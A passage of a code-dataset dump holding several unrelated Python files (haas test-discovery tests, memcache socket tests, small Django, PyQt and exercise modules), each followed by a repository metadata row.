tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 0)
def test_discover_method(self):
module = '{0}.test_cases.TestCase.test_method'.format(
'.'.join(self.dirs))
suite = self.discoverer.discover(
module, top_level_directory=self.tmpdir)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_too_many_components(self):
module = '{0}.test_cases.TestCase.test_method.nothing'.format(
'.'.join(self.dirs))
with self.assertRaises(ValueError):
self.discoverer.discover(module, top_level_directory=self.tmpdir)
class TestDiscoverFilteredTests(TestDiscoveryMixin, unittest.TestCase):
def setUp(self):
TestDiscoveryMixin.setUp(self)
self.discoverer = Discoverer(Loader())
def tearDown(self):
del self.discoverer
TestDiscoveryMixin.tearDown(self)
def test_discover_subpackage(self):
suite = self.discoverer.discover(
'tests',
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 2)
for test in tests:
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_test_method(self):
suite = self.discoverer.discover(
'test_method',
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 2)
for test in tests:
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_class(self):
suite = self.discoverer.discover(
'TestCase',
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_no_top_level(self):
getcwd = Mock()
getcwd.return_value = self.tmpdir
with patch.object(os, 'getcwd', getcwd):
suite = self.discoverer.discover(
'TestCase',
)
getcwd.assert_called_once_with()
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_class_and_method(self):
suite = self.discoverer.discover(
'TestCase.test_method',
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_module_and_class_and_method(self):
suite = self.discoverer.discover(
'test_cases.TestCase.test_method',
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
def test_discover_module_and_class(self):
suite = self.discoverer.discover(
'test_cases.TestCase',
top_level_directory=self.tmpdir,
)
tests = list(self.get_test_cases(suite))
self.assertEqual(len(tests), 1)
test, = tests
self.assertIsInstance(test, python_unittest.TestCase)
self.assertEqual(test._testMethodName, 'test_method')
class TestDiscovererImportError(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module1 = builder.Module('test_something.py', (klass,))
module2 = builder.Module('test_something_else.py', (klass,))
subpackage = builder.Package(
'subpackage',
(
builder.Package('package1', (module1,)),
builder.Package('package2', (module2,)),
),
)
package = builder.Package('package', (subpackage,))
fixture = builder.Package('fixture', (package,))
fixture.create(self.tempdir)
module_path = os.path.join(
self.tempdir, fixture.name, package.name, subpackage.name,
module1.name)
with open(module_path, 'w') as fh:
fh.write('import haas.i_dont_exist\n')
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_creates_importerror_testcase(self):
with cd(self.tempdir):
suite = Discoverer(Loader()).discover(
self.tempdir, self.tempdir)
self.assertEqual(suite.countTestCases(), 3)
case_names = [
type(case).__name__ for case in find_test_cases(suite)]
self.assertEqual(
case_names, ['ModuleImportError', 'TestSomething',
'TestSomething'])
def test_importerror_testcase(self):
with cd(self.tempdir):
suite = Discoverer(Loader()).discover(
self.tempdir, self.tempdir)
self.assertEqual(suite.countTestCases(), 3)
result = unittest.TestResult()
suite.run(result)
self.assertEqual(len(result.errors), 1)
class TestDiscovererNonPackageImport(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module1 = builder.Module('test_something.py', (klass,))
module2 = builder.Module('test_something_else.py', (klass,))
subpackage = builder.Directory(
'subpackage',
(
builder.Package('package1', (module1,)),
builder.Package('package2', (module2,)),
),
)
package = builder.Directory('package', (subpackage,))
fixture = builder.Directory('fixture', (package,))
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_skips_non_packages(self):
with cd(self.tempdir):
suite = Discoverer(Loader()).discover(self.tempdir, self.tempdir)
self.assertEqual(suite.countTestCases(), 0)
class TestDiscovererDotInModuleName(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
expected_klass = builder.Class(
'TestExpected',
(
builder.Method('test_expected'),
),
)
module1 = builder.Module('test_some.thing.py', (klass,))
module2 = builder.Module('test_something_else.py', (klass,))
module3 = builder.Module('test_another_one.py', (expected_klass,))
subpackage = builder.Package(
'subpackage',
(
builder.Package('package1', (module1,)),
builder.Package('packa.ge2', (module2,)),
builder.Package('package3', (module3,)),
),
)
package = builder.Package('package', (subpackage,))
fixture = builder.Package('fixture', (package,))
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_tests(self):
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover(self.tempdir, self.tempdir)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertEqual(type(case).__name__, 'TestExpected')
self.assertEqual(case._testMethodName, 'test_expected')
class TestDiscovererNeverFilterModuleImportError(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
text = builder.RawText('ImportError', 'import haas.i_dont_exist')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module = builder.Module('test_importerror.py', (text, klass,))
package = builder.Package('package', (module,))
fixture = builder.Package('fixture', (package,))
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_tests(self):
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover('TestSomething', None)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertIsInstance(case, ModuleImportError)
self.assertEqual(case._testMethodName, 'test_error')
class TestDiscovererSelectiveFilterPackageImportError(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
text = builder.RawText('ImportError', 'from . import i_dont_exist')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module = builder.Module('test_importerror.py', (klass,))
fixture = builder.Directory(
'testing_package',
(
builder.Module('__init__.py', (text,)),
module,
),
)
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_tests(self):
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover('TestSomething', None)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertIsInstance(case, ModuleImportError)
self.assertEqual(case._testMethodName, 'test_error')
class TestDiscovererFindTestsByFilePath(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module = builder.Module('test_something.py', (klass,))
package = builder.Package('package', (module,))
fixture = builder.Package('fixture', (package,))
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_tests_no_prefix_dot_slash(self):
# Given
start = 'fixture/package/test_something.py'
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover(start, None)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertEqual(type(case).__name__, 'TestSomething')
self.assertEqual(case._testMethodName, 'test_method')
def test_discover_tests_with_dot_slash(self):
# Given
start = './fixture/package/test_something.py'
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover(start, None)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertEqual(type(case).__name__, 'TestSomething')
self.assertEqual(case._testMethodName, 'test_method')
class TestDiscovererEmacsRecoveryFiles(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module = builder.Module('.#test_module.py', (klass,))
module = builder.Module('test_module.py', (klass,))
fixture = builder.Package(
'testing_package',
(
module,
),
)
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_error_emacs_recovery_file(self):
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover('TestSomething', None)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertIsInstance(case, unittest.TestCase)
self.assertEqual(case._testMethodName, 'test_method')
class TestDiscovererExceptionOnModuleImport(unittest.TestCase):
def setUp(self):
self.modules = sys.modules.copy()
self.tempdir = tempfile.mkdtemp(prefix='haas-tests-')
text = builder.RawText('RuntimeError', 'raise RuntimeError("failed")')
klass = builder.Class(
'TestSomething',
(
builder.Method('test_method'),
),
)
module = builder.Module('test_importerror.py', (text, klass,))
fixture = builder.Package(
'testing_package',
(
module,
),
)
fixture.create(self.tempdir)
def tearDown(self):
if self.tempdir in sys.path:
sys.path.remove(self.tempdir)
modules_to_remove = [key for key in sys.modules
if key not in self.modules]
for key in modules_to_remove:
del sys.modules[key]
del self.modules
shutil.rmtree(self.tempdir)
def test_discover_tests_runtime_error_on_import(self):
# When
with cd(self.tempdir):
suite = Discoverer(Loader()).discover('TestSomething', None)
# Then
self.assertEqual(suite.countTestCases(), 1)
case, = find_test_cases(suite)
self.assertIsInstance(case, ModuleImportError)
self.assertEqual(case._testMethodName, 'test_error')
| 34.677966 | 79 | 0.622059 | 3,369 | 30,690 | 5.469576 | 0.071535 | 0.056168 | 0.024909 | 0.022467 | 0.791827 | 0.7438 | 0.713627 | 0.681283 | 0.651707 | 0.634178 | 0 | 0.005267 | 0.270055 | 30,690 | 884 | 80 | 34.717195 | 0.817293 | 0.010785 | 0 | 0.623944 | 0 | 0 | 0.066148 | 0.012405 | 0 | 0 | 0 | 0 | 0.15493 | 1 | 0.121127 | false | 0.005634 | 0.047887 | 0 | 0.195775 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
e40a521ae36a48dfb67886a957c1b93ca5e30862 | 757 | py | Python | helium/planner/managers/eventmanager.py | HeliumEdu/platform | 54b82a40c21fd14d1b7f37d5f2afb51eea2f8cf5 | [
"MIT"
] | 15 | 2018-01-02T00:44:58.000Z | 2022-03-19T21:38:29.000Z | helium/planner/managers/eventmanager.py | HeliumEdu/platform | 54b82a40c21fd14d1b7f37d5f2afb51eea2f8cf5 | [
"MIT"
] | 327 | 2017-11-24T22:36:07.000Z | 2022-02-10T08:09:08.000Z | helium/planner/managers/eventmanager.py | HeliumEdu/platform | 54b82a40c21fd14d1b7f37d5f2afb51eea2f8cf5 | [
"MIT"
] | 3 | 2018-05-04T17:57:58.000Z | 2021-11-18T13:58:46.000Z | import logging
from helium.common.managers.basemanager import BaseManager, BaseQuerySet
__author__ = "Alex Laird"
__copyright__ = "Copyright 2019, Helium Edu"
__version__ = "1.4.38"
logger = logging.getLogger(__name__)
class EventQuerySet(BaseQuerySet):
def exists_for_user(self, id, user_id):
return self.filter(pk=id, user_id=user_id).exists()
def for_user(self, user_id):
return self.filter(user_id=user_id)
class EventManager(BaseManager):
def get_queryset(self):
return EventQuerySet(self.model, using=self._db)
def exists_for_user(self, id, user_id):
return self.get_queryset().exists_for_user(id, user_id)
def for_user(self, user_id):
return self.get_queryset().for_user(user_id)
| 26.103448 | 72 | 0.729194 | 106 | 757 | 4.839623 | 0.358491 | 0.128655 | 0.093567 | 0.124756 | 0.331384 | 0.307992 | 0.265107 | 0.265107 | 0.148148 | 0.148148 | 0 | 0.012678 | 0.166447 | 757 | 28 | 73 | 27.035714 | 0.800317 | 0 | 0 | 0.222222 | 0 | 0 | 0.055482 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.277778 | false | 0 | 0.111111 | 0.277778 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
7c154df238873059658beeb529fd9f4157ef6fd4 | 156 | py | Python | peakdetect_delta/version.py | takaakiaoki/peakdetect_delta | e0786d471fa2ea2cdeb7b9921863f856a675f97a | [
"MIT"
] | 1 | 2019-05-03T18:13:10.000Z | 2019-05-03T18:13:10.000Z | peakdetect_delta/version.py | takaakiaoki/peakdetect_delta | e0786d471fa2ea2cdeb7b9921863f856a675f97a | [
"MIT"
] | null | null | null | peakdetect_delta/version.py | takaakiaoki/peakdetect_delta | e0786d471fa2ea2cdeb7b9921863f856a675f97a | [
"MIT"
] | null | null | null | _version_major = 0
_version_minor = 1
_version_micro = 0
__version__ = "{0:d}.{1:d}.{2:d}".format(
_version_major, _version_minor, _version_micro)
| 22.285714 | 55 | 0.705128 | 23 | 156 | 4.086957 | 0.391304 | 0.255319 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0.153846 | 156 | 6 | 56 | 26 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0.108974 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7c47cf927cd673062ea20b73561c78ddf86a195d | 222 | py | Python | external_apps/notification/context_processors.py | davemerwin/blue-channel | 67a1a7fcc512574e6522aa57633f9d69c25c8906 | [
"BSD-3-Clause"
] | 4 | 2016-05-08T06:07:50.000Z | 2021-11-21T19:41:40.000Z | apps/external_apps/notification/context_processors.py | indro/t2c | 56482ad4aed150f29353e054db2c97b567243bf8 | [
"MIT"
] | null | null | null | apps/external_apps/notification/context_processors.py | indro/t2c | 56482ad4aed150f29353e054db2c97b567243bf8 | [
"MIT"
] | 3 | 2017-07-09T02:14:54.000Z | 2021-07-13T19:16:59.000Z | from notification.models import Notice
def notification(request):
if request.user.is_authenticated():
return {'notice_unseen_count': Notice.objects.unseen_count_for(request.user),}
else:
return {}
| 27.75 | 86 | 0.720721 | 26 | 222 | 5.961538 | 0.653846 | 0.141935 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.175676 | 222 | 7 | 87 | 31.714286 | 0.846995 | 0 | 0 | 0 | 0 | 0 | 0.085586 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
7c4f9487bf1965b3195249fdb035cdc1ef8985ac | 116 | py | Python | exercicios/ex014.py | ArthurLopesMagalhaes/Python-CursoEmVideo | de9006f620a7308c3001fa486b1a4bcd789f7a49 | [
"MIT"
] | null | null | null | exercicios/ex014.py | ArthurLopesMagalhaes/Python-CursoEmVideo | de9006f620a7308c3001fa486b1a4bcd789f7a49 | [
"MIT"
] | null | null | null | exercicios/ex014.py | ArthurLopesMagalhaes/Python-CursoEmVideo | de9006f620a7308c3001fa486b1a4bcd789f7a49 | [
"MIT"
] | null | null | null | c = float(input('DIgite a temperatura em ºC:'))
f = c * 1.8 + 32
print(f'A temperatura de {c} ºC é igual a {f} ºF.') | 38.666667 | 51 | 0.62069 | 25 | 116 | 2.88 | 0.68 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043011 | 0.198276 | 116 | 3 | 51 | 38.666667 | 0.731183 | 0 | 0 | 0 | 0 | 0 | 0.581197 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7c598708b4d9e384308667d6bb5462f6da2cb545 | 7,259 | py | Python | tests/base/memcache_socket_test.py | RevenueCat/meta-memcache-py | 755ecfc4cfbb029d3435590c5f9aa8a8aa2a36e3 | [
"MIT"
] | null | null | null | tests/base/memcache_socket_test.py | RevenueCat/meta-memcache-py | 755ecfc4cfbb029d3435590c5f9aa8a8aa2a36e3 | [
"MIT"
] | 4 | 2022-01-10T23:06:43.000Z | 2022-03-08T22:49:39.000Z | tests/base/memcache_socket_test.py | RevenueCat/meta-memcache-py | 755ecfc4cfbb029d3435590c5f9aa8a8aa2a36e3 | [
"MIT"
] | null | null | null | import socket
from typing import Callable, List
import pytest
from pytest_mock import MockerFixture
from meta_memcache.base.memcache_socket import MemcacheSocket
from meta_memcache.errors import MemcacheError
from meta_memcache.protocol import (
Conflict,
Flag,
IntFlag,
Miss,
NotStored,
ServerVersion,
Success,
TokenFlag,
Value,
)
def recv_into_mock(datas: List[bytes]) -> Callable[[memoryview], int]:
def recv_into(buffer: memoryview, length: int = 0, flags: int = 0) -> int:
if not datas:
return -1
data = datas[0]
data_size = len(data)
if length > 0:
buffer_size = length
else:
buffer_size = len(buffer)
if data_size > buffer_size:
read = buffer_size
buffer[:] = data[0:buffer_size]
datas[0] = data[buffer_size:]
else:
read = data_size
buffer[0:data_size] = data
datas.pop(0)
return read
return recv_into
@pytest.fixture
def fake_socket(mocker: MockerFixture) -> socket.socket:
return mocker.MagicMock(spec=socket.socket)
def test_get_response(
fake_socket: socket.socket,
) -> None:
fake_socket.recv_into.side_effect = recv_into_mock(
[b"EN\r\n", b"NF\r\nNS", b"\r\nE", b"X\r\nXX\r\n"]
)
ms = MemcacheSocket(fake_socket)
assert isinstance(ms.get_response(), Miss)
assert isinstance(ms.get_response(), Miss)
assert isinstance(ms.get_response(), NotStored)
assert isinstance(ms.get_response(), Conflict)
try:
ms.get_response()
raise AssertionError("Should not be reached")
except MemcacheError as e:
assert "Error parsing response header" in str(e)
fake_socket.recv_into.side_effect = recv_into_mock(
[b"HD c1\r\nVA 2 c1", b"\r\nOK\r\n"]
)
ms = MemcacheSocket(fake_socket)
result = ms.get_response()
assert isinstance(result, Success)
assert result.int_flags == {IntFlag.RETURNED_CAS_TOKEN: 1}
result = ms.get_response()
assert isinstance(result, Value)
assert result.int_flags == {IntFlag.RETURNED_CAS_TOKEN: 1}
assert result.size == 2
def test_get_response_1_6_6(
fake_socket: socket.socket,
) -> None:
fake_socket.recv_into.side_effect = recv_into_mock(
[b"OK c1\r\nVA 2 c1", b"\r\nOK\r\n"]
)
ms = MemcacheSocket(fake_socket, version=ServerVersion.AWS_1_6_6)
result = ms.get_response()
assert isinstance(result, Success)
assert result.int_flags == {IntFlag.RETURNED_CAS_TOKEN: 1}
result = ms.get_response()
assert isinstance(result, Value)
assert result.int_flags == {IntFlag.RETURNED_CAS_TOKEN: 1}
assert result.size == 2
def test_noreply(
fake_socket: socket.socket,
) -> None:
fake_socket.recv_into.side_effect = recv_into_mock(
[b"EX\r\n", b"MN", b"\r\nHD", b"\r\n"]
)
ms = MemcacheSocket(fake_socket)
ms.sendall(b"test", with_noop=True)
# The first EX should be skipped as it is before the No-op
# response, so this should be a success:
assert isinstance(ms.get_response(), Success)
def test_get_value(
fake_socket: socket.socket,
) -> None:
fake_socket.recv_into.side_effect = recv_into_mock([b"VA 2 c1\r\nOK\r\n"])
ms = MemcacheSocket(fake_socket)
result = ms.get_response()
assert isinstance(result, Value)
assert result.int_flags == {IntFlag.RETURNED_CAS_TOKEN: 1}
assert result.size == 2
ms.get_value(2)
def test_get_value_large(
fake_socket: socket.socket,
) -> None:
fake_socket.recv_into.side_effect = recv_into_mock(
[b"VA 200 c1 Oxxx W Q Qa \r\n", b"1234567890", b"1234567890" * 19 + b"\r\n"],
)
ms = MemcacheSocket(fake_socket, buffer_size=100)
result = ms.get_response()
assert isinstance(result, Value)
assert result.int_flags == {IntFlag.RETURNED_CAS_TOKEN: 1}
assert result.flags == set([Flag.WIN])
assert result.token_flags == {TokenFlag.OPAQUE: b"xxx"}
assert result.size == 200
value = ms.get_value(result.size)
assert len(value) == result.size
assert value == b"1234567890" * 20
def test_get_value_with_incomplete_endl(
fake_socket: socket.socket,
) -> None:
data = b"VA 10\r\n1234567890\r\n"
fake_socket.recv_into.side_effect = recv_into_mock([data])
ms = MemcacheSocket(fake_socket, buffer_size=len(data) - 1)
result = ms.get_response()
assert isinstance(result, Value)
assert result.size == 10
value = ms.get_value(result.size)
assert len(value) == result.size
assert value == b"1234567890"
fake_socket.recv_into.side_effect = recv_into_mock([data])
ms = MemcacheSocket(fake_socket, buffer_size=len(data) - 2)
result = ms.get_response()
assert isinstance(result, Value)
assert result.size == 10
value = ms.get_value(result.size)
assert len(value) == result.size
assert value == b"1234567890"
def test_bad(
fake_socket: socket.socket,
) -> None:
fake_socket.recv_into.side_effect = recv_into_mock(
[b"VA 10 c1\r\n", b"1234567890XX"]
)
ms = MemcacheSocket(fake_socket, buffer_size=100)
result = ms.get_response()
try:
ms.get_value(result.size)
raise AssertionError("Should not be reached")
except MemcacheError as e:
assert "Error parsing value" in str(e)
fake_socket.recv_into.side_effect = recv_into_mock(
[b"VA 200 c1\r\n", b"1234567890", b"1234567890" * 19 + b"XX"],
)
ms = MemcacheSocket(fake_socket, buffer_size=100)
result = ms.get_response()
try:
ms.get_value(result.size)
raise AssertionError("Should not be reached")
except MemcacheError as e:
assert "Error parsing value" in str(e)
fake_socket.recv_into.side_effect = recv_into_mock([b"VA 10 c1", b"XX"])
ms = MemcacheSocket(fake_socket, buffer_size=100)
try:
ms.get_response()
raise AssertionError("Should not be reached")
except MemcacheError as e:
assert "Bad response" in str(e)
def test_reset_buffer(
fake_socket: socket.socket,
) -> None:
data = b"VA 50 \r\n" + (b"1234567890" * 5) + b"\r\n"
fake_socket.recv_into.side_effect = recv_into_mock([data])
ms = MemcacheSocket(fake_socket, buffer_size=len(data) - 1)
result = ms.get_response()
value = ms.get_value(result.size)
assert len(value) == result.size
assert value == b"1234567890" * 5
ms._reset_buffer()
assert ms._pos == 0
data = (b"VA 50 \r\n" + (b"1234567890" * 5) + b"\r\n") * 2
fake_socket.recv_into.side_effect = recv_into_mock([data])
ms = MemcacheSocket(fake_socket, buffer_size=len(data) - 10)
result = ms.get_response()
value = ms.get_value(result.size)
assert len(value) == result.size
assert value == b"1234567890" * 5
ms._reset_buffer()
assert ms._pos == len(data) // 2
result = ms.get_response()
value = ms.get_value(result.size)
assert len(value) == result.size
assert value == b"1234567890" * 5
ms._reset_buffer()
assert ms._pos == 0
def test_close(
fake_socket: socket.socket,
) -> None:
ms = MemcacheSocket(fake_socket, buffer_size=100)
ms.close()
fake_socket.close.assert_called_once()
| 31.021368 | 87 | 0.664141 | 1,029 | 7,259 | 4.487852 | 0.139942 | 0.082287 | 0.056301 | 0.078822 | 0.732352 | 0.714162 | 0.708099 | 0.690992 | 0.666739 | 0.656994 | 0 | 0.04141 | 0.218212 | 7,259 | 233 | 88 | 31.154506 | 0.772335 | 0.013087 | 0 | 0.582915 | 0 | 0 | 0.075269 | 0 | 0 | 0 | 0 | 0 | 0.256281 | 1 | 0.060302 | false | 0 | 0.035176 | 0.005025 | 0.115578 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7c6e408a5d5c34f5615431e0c4c3051cd3459f05 | 36 | py | Python | modules/search/search_config.py | 276793422/attack-website | 9be8abbb8d77c3c73243cae2689f1af9725d19f9 | [
"Apache-2.0"
] | 327 | 2018-11-22T07:01:30.000Z | 2022-03-30T09:25:02.000Z | modules/search/search_config.py | 276793422/attack-website | 9be8abbb8d77c3c73243cae2689f1af9725d19f9 | [
"Apache-2.0"
] | 239 | 2019-02-11T13:47:44.000Z | 2022-03-30T06:20:47.000Z | modules/search/search_config.py | 276793422/attack-website | 9be8abbb8d77c3c73243cae2689f1af9725d19f9 | [
"Apache-2.0"
] | 111 | 2019-01-25T12:58:56.000Z | 2022-03-30T09:25:04.000Z | module_name = "Search"
priority = 17 | 18 | 22 | 0.75 | 5 | 36 | 5.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064516 | 0.138889 | 36 | 2 | 23 | 18 | 0.774194 | 0 | 0 | 0 | 0 | 0 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
7ca964993e4a98ab440156703ea62f28b24c9eee | 163 | py | Python | nales/actions.py | Jojain/Nales | dc1073967ba1a8c5bbc226dbfe7b2fb8afd44bd9 | [
"MIT"
] | 5 | 2022-03-07T23:21:42.000Z | 2022-03-29T17:40:36.000Z | nales/actions.py | Jojain/Nales | dc1073967ba1a8c5bbc226dbfe7b2fb8afd44bd9 | [
"MIT"
] | 3 | 2022-03-29T17:33:27.000Z | 2022-03-29T17:40:10.000Z | nales/actions.py | Jojain/Nales | dc1073967ba1a8c5bbc226dbfe7b2fb8afd44bd9 | [
"MIT"
] | null | null | null | from PyQt5.QtWidgets import QAction
class FitViewAction(QAction):
def __init__(self, parent):
super().__init__(parent)
self.setShortcut("f")
| 20.375 | 35 | 0.687117 | 18 | 163 | 5.777778 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0.202454 | 163 | 7 | 36 | 23.285714 | 0.792308 | 0 | 0 | 0 | 0 | 0 | 0.006135 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
7cc267467d3d10f091be2f09fab75bcd505c9b66 | 230 | py | Python | Source_Codes/checking.py | nirajbasnet/dynamics_modeling_of_self_driving_car | 1008a653806a3fa0b8369b6da6464993042d41a3 | [
"MIT"
